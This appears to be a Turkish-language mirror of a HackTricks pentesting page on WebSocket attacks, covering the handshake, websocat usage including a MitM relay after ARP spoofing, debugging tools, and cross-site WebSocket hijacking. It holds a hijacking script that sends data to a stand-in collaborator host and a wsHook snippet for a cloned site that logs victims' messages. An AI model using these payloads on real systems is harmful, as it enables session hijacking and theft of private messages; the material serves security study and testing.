mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
184 lines
13 KiB
Markdown
184 lines
13 KiB
Markdown
# WebSocket Saldırıları
|
||
|
||
{% hint style="success" %}
|
||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>HackTricks'i Destekleyin</summary>
|
||
|
||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
## WebSocket Nedir
|
||
|
||
WebSocket bağlantıları, başlangıçta bir **HTTP** el sıkışması ile kurulur ve **uzun ömürlü** olacak şekilde tasarlanmıştır; bu, herhangi bir zamanda iki yönlü mesajlaşmaya olanak tanır ve bir işlem sistemine ihtiyaç duymaz. Bu, WebSocket'leri, canlı finansal veri akışları gibi **düşük gecikme veya sunucu başlatmalı iletişim** gerektiren uygulamalar için özellikle avantajlı hale getirir.
|
||
|
||
### WebSocket Bağlantılarının Kurulumu
|
||
|
||
WebSocket bağlantılarının kurulumu hakkında ayrıntılı bir açıklama [**buradan**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc) erişilebilir. Özetle, WebSocket bağlantıları genellikle aşağıda gösterildiği gibi istemci tarafı JavaScript aracılığıyla başlatılır:
|
||
```javascript
|
||
var ws = new WebSocket("wss://normal-website.com/ws");
|
||
```
|
||
`wss` protokolü, **TLS** ile güvence altına alınmış bir WebSocket bağlantısını belirtirken, `ws` **güvensiz** bir bağlantıyı gösterir.
|
||
|
||
Bağlantı kurulumu sırasında, tarayıcı ve sunucu arasında HTTP üzerinden bir el sıkışma (handshake) gerçekleştirilir. El sıkışma süreci, tarayıcının bir istek göndermesi ve sunucunun yanıt vermesi ile ilgilidir; aşağıdaki örneklerde gösterildiği gibi:
|
||
|
||
Tarayıcı bir el sıkışma isteği gönderir:
|
||
```javascript
|
||
GET /chat HTTP/1.1
|
||
Host: normal-website.com
|
||
Sec-WebSocket-Version: 13
|
||
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
|
||
Connection: keep-alive, Upgrade
|
||
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
|
||
Upgrade: websocket
|
||
```
|
||
Sunucu el sıkışma yanıtı:
|
||
```javascript
|
||
HTTP/1.1 101 Switching Protocols
|
||
Connection: Upgrade
|
||
Upgrade: websocket
|
||
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
|
||
```
|
||
Bağlantı kurulduktan sonra, her iki yönde mesaj alışverişi için açık kalır.
|
||
|
||
**WebSocket El Sıkışma Anahtar Noktaları:**
|
||
|
||
- `Connection` ve `Upgrade` başlıkları, bir WebSocket el sıkışmasının başlatıldığını belirtir.
|
||
- `Sec-WebSocket-Version` başlığı, genellikle `13` olan istenen WebSocket protokol sürümünü gösterir.
|
||
- `Sec-WebSocket-Key` başlığında, her el sıkışmanın benzersiz olmasını sağlayan, Base64 ile kodlanmış rastgele bir değer gönderilir; bu, önbellek proxy'leri ile ilgili sorunları önlemeye yardımcı olur. Bu değer kimlik doğrulama için değil, yanıtın yanlış yapılandırılmış bir sunucu veya önbellek tarafından üretilmediğini doğrulamak içindir.
|
||
- Sunucunun yanıtındaki `Sec-WebSocket-Accept` başlığı, `Sec-WebSocket-Key`'in bir hash'idir ve sunucunun bir WebSocket bağlantısı açma niyetini doğrular.
|
||
|
||
Bu özellikler, el sıkışma sürecinin güvenli ve güvenilir olmasını sağlar, verimli gerçek zamanlı iletişim için zemin hazırlar.
|
||
|
||
|
||
### Linux konsolu
|
||
|
||
Bir websocket ile ham bir bağlantı kurmak için `websocat` kullanabilirsiniz.
|
||
```bash
|
||
websocat --insecure wss://10.10.10.10:8000 -v
|
||
```
|
||
Veya bir websocat sunucusu oluşturmak için:
|
||
```bash
|
||
websocat -s 0.0.0.0:8000 #Listen in port 8000
|
||
```
|
||
### MitM websocket bağlantıları
|
||
|
||
Eğer istemcilerin mevcut yerel ağınızdan bir **HTTP websocket**'e bağlı olduğunu bulursanız, istemci ile sunucu arasında bir MitM saldırısı gerçekleştirmek için bir [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) denemek isteyebilirsiniz.\
|
||
İstemci bağlanmaya çalıştığında, o zaman şunu kullanabilirsiniz:
|
||
```bash
|
||
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
||
```
|
||
### Websockets enumeration
|
||
|
||
**Websocket'lerde bilinen** **güvenlik açıklarını** **keşfetmek, parmak izi çıkarmak ve aramak için** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **aracını kullanabilirsiniz.**
|
||
|
||
### Websocket Debug tools
|
||
|
||
* **Burp Suite**, normal HTTP iletişimi için yaptığına çok benzer bir şekilde MitM websockets iletişimini destekler.
|
||
* [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite eklentisi**, **geçmişi** alma, **yakalama kuralları** ayarlama, **eşleşme ve değiştirme** kuralları kullanma, **Intruder** ve **AutoRepeater** kullanarak Burp'ta Websocket iletişimlerini daha iyi yönetmenizi sağlar.
|
||
* [**WSSiP**](https://github.com/nccgroup/wssip)**:** "**WebSocket/Socket.io Proxy**" kısaltması olan bu araç, Node.js ile yazılmıştır ve istemci ile sunucu arasındaki tüm WebSocket ve Socket.IO iletişimlerini **yakalamak, kesmek, özel** mesajlar göndermek ve görüntülemek için bir kullanıcı arayüzü sağlar.
|
||
* [**wsrepl**](https://github.com/doyensec/wsrepl), özellikle penetrasyon testi için tasarlanmış bir **etkileşimli websocket REPL**'dir. **Gelen websocket mesajlarını gözlemlemek ve yenilerini göndermek** için bir arayüz sağlar ve bu iletişimi **otomatikleştirmek** için kullanımı kolay bir çerçeve sunar. 
|
||
* [**https://websocketking.com/**](https://websocketking.com/) diğer weblerle **websockets** kullanarak iletişim kurmak için bir **web**'dir.
|
||
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) diğer iletişim/protokol türlerinin yanı sıra, diğer weblerle **websockets** kullanarak iletişim kurmak için bir **web** sağlar.
|
||
|
||
## Websocket Lab
|
||
|
||
[**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) içinde websockets kullanarak bir web başlatmak için bir kod bulabilirsiniz ve [**bu yazıda**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) bir açıklama bulabilirsiniz.
|
||
|
||
## Cross-site WebSocket hijacking (CSWSH)
|
||
|
||
**Cross-site WebSocket hijacking**, ayrıca **cross-origin WebSocket hijacking** olarak da bilinir, WebSocket el sıkışmalarını etkileyen **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)**'nin özel bir durumu olarak tanımlanır. Bu güvenlik açığı, WebSocket el sıkışmalarının yalnızca **HTTP çerezleri** aracılığıyla **CSRF token'ları** veya benzeri güvenlik önlemleri olmadan kimlik doğrulaması yaptığı durumlarda ortaya çıkar.
|
||
|
||
Saldırganlar, savunmasız bir uygulamaya çapraz alan WebSocket bağlantısı başlatan **kötü niyetli bir web sayfası** barındırarak bunu istismar edebilir. Sonuç olarak, bu bağlantı, uygulama ile kurbanın oturumunun bir parçası olarak kabul edilir ve oturum yönetim mekanizmasındaki CSRF korumasının eksikliğinden yararlanır.
|
||
|
||
### Simple Attack
|
||
|
||
**Websocket** bağlantısı **kurulduğunda** **çerez** sunucuya **gönderilir**. **Sunucu**, her **belirli** **kullanıcıyı gönderilen çerez temelinde** **websocket** **oturumu** ile **ilişkilendirmek** için bunu kullanıyor olabilir.
|
||
|
||
Daha sonra, **örneğin** **websocket** **sunucusu**, bir mesaj "**READY"** gönderildiğinde bir kullanıcının **konuşma geçmişini** geri gönderirse, o zaman bağlantıyı kuran **basit bir XSS** (çerez **otomatik olarak** kurban kullanıcısını yetkilendirmek için **gönderilecektir**) **"READY"** göndererek **konuşma** **geçmişini** **geri alabilecektir**.
|
||
```markup
|
||
<script>
|
||
websocket = new WebSocket('wss://your-websocket-URL')
|
||
websocket.onopen = start
|
||
websocket.onmessage = handleReply
|
||
function start(event) {
|
||
websocket.send("READY"); //Send the message to retreive confidential information
|
||
}
|
||
function handleReply(event) {
|
||
//Exfiltrate the confidential information to attackers server
|
||
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
|
||
}
|
||
</script>
|
||
```
|
||
### Cross Origin + Cookie with a different subdomain
|
||
|
||
Bu blog yazısında [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) saldırgan, web socket iletişiminin gerçekleştiği alanın **alt alanında rastgele Javascript çalıştırmayı** başardı. Çünkü bu bir **alt alan** idi, **cookie** **gönderiliyordu** ve çünkü **Websocket Origin'i düzgün kontrol etmediği için**, onunla iletişim kurmak ve **ondan token çalmak** mümkün oldu.
|
||
|
||
### Stealing data from user
|
||
|
||
Taklit etmek istediğiniz web uygulamasını kopyalayın (örneğin .html dosyaları) ve websocket iletişiminin gerçekleştiği scriptin içine bu kodu ekleyin:
|
||
```javascript
|
||
//This is the script tag to load the websocket hooker
|
||
<script src='wsHook.js'></script>
|
||
|
||
//These are the functions that are gonig to be executed before a message
|
||
//is sent by the client or received from the server
|
||
//These code must be between some <script> tags or inside a .js file
|
||
wsHook.before = function(data, url) {
|
||
var xhttp = new XMLHttpRequest();
|
||
xhttp.open("GET", "client_msg?m="+data, true);
|
||
xhttp.send();
|
||
}
|
||
wsHook.after = function(messageEvent, url, wsObject) {
|
||
var xhttp = new XMLHttpRequest();
|
||
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
|
||
xhttp.send();
|
||
return messageEvent;
|
||
}
|
||
```
|
||
Şimdi `wsHook.js` dosyasını [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) adresinden indirin ve **web dosyalarının bulunduğu klasöre kaydedin**.\
|
||
Web uygulamasını açarak bir kullanıcının buna bağlanmasını sağlarsanız, websocket üzerinden gönderilen ve alınan mesajları çalabilirsiniz:
|
||
```javascript
|
||
sudo python3 -m http.server 80
|
||
```
|
||
## Yarış Koşulları
|
||
|
||
WebSocket'lerde de Yarış Koşulları vardır, [daha fazla bilgi için burayı kontrol edin](race-condition.md#rc-in-websockets).
|
||
|
||
## Diğer zafiyetler
|
||
|
||
Web Sockets, **verileri sunucu tarafına ve istemci tarafına göndermek için bir mekanizma** olduğundan, sunucu ve istemcinin bilgileri nasıl işlediğine bağlı olarak, **Web Sockets, bir websocket üzerinden bir kullanıcının girişi ile XSS, SQLi veya diğer yaygın web zafiyetlerini istismar etmek için kullanılabilir.**
|
||
|
||
## **WebSocket Kaçırma**
|
||
|
||
Bu zafiyet, **ters proxy kısıtlamalarını aşmanıza** olanak tanıyabilir ve onlara **bir websocket iletişiminin kurulduğunu** düşündürebilir (gerçek olmasa bile). Bu, bir saldırganın **gizli uç noktalara erişmesine** olanak tanıyabilir. Daha fazla bilgi için aşağıdaki sayfayı kontrol edin:
|
||
|
||
{% content-ref url="h2c-smuggling.md" %}
|
||
[h2c-smuggling.md](h2c-smuggling.md)
|
||
{% endcontent-ref %}
|
||
|
||
## Referanslar
|
||
|
||
* [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
|
||
|
||
{% hint style="success" %}
|
||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>HackTricks'i Destekleyin</summary>
|
||
|
||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||
|
||
</details>
|
||
{% endhint %}
|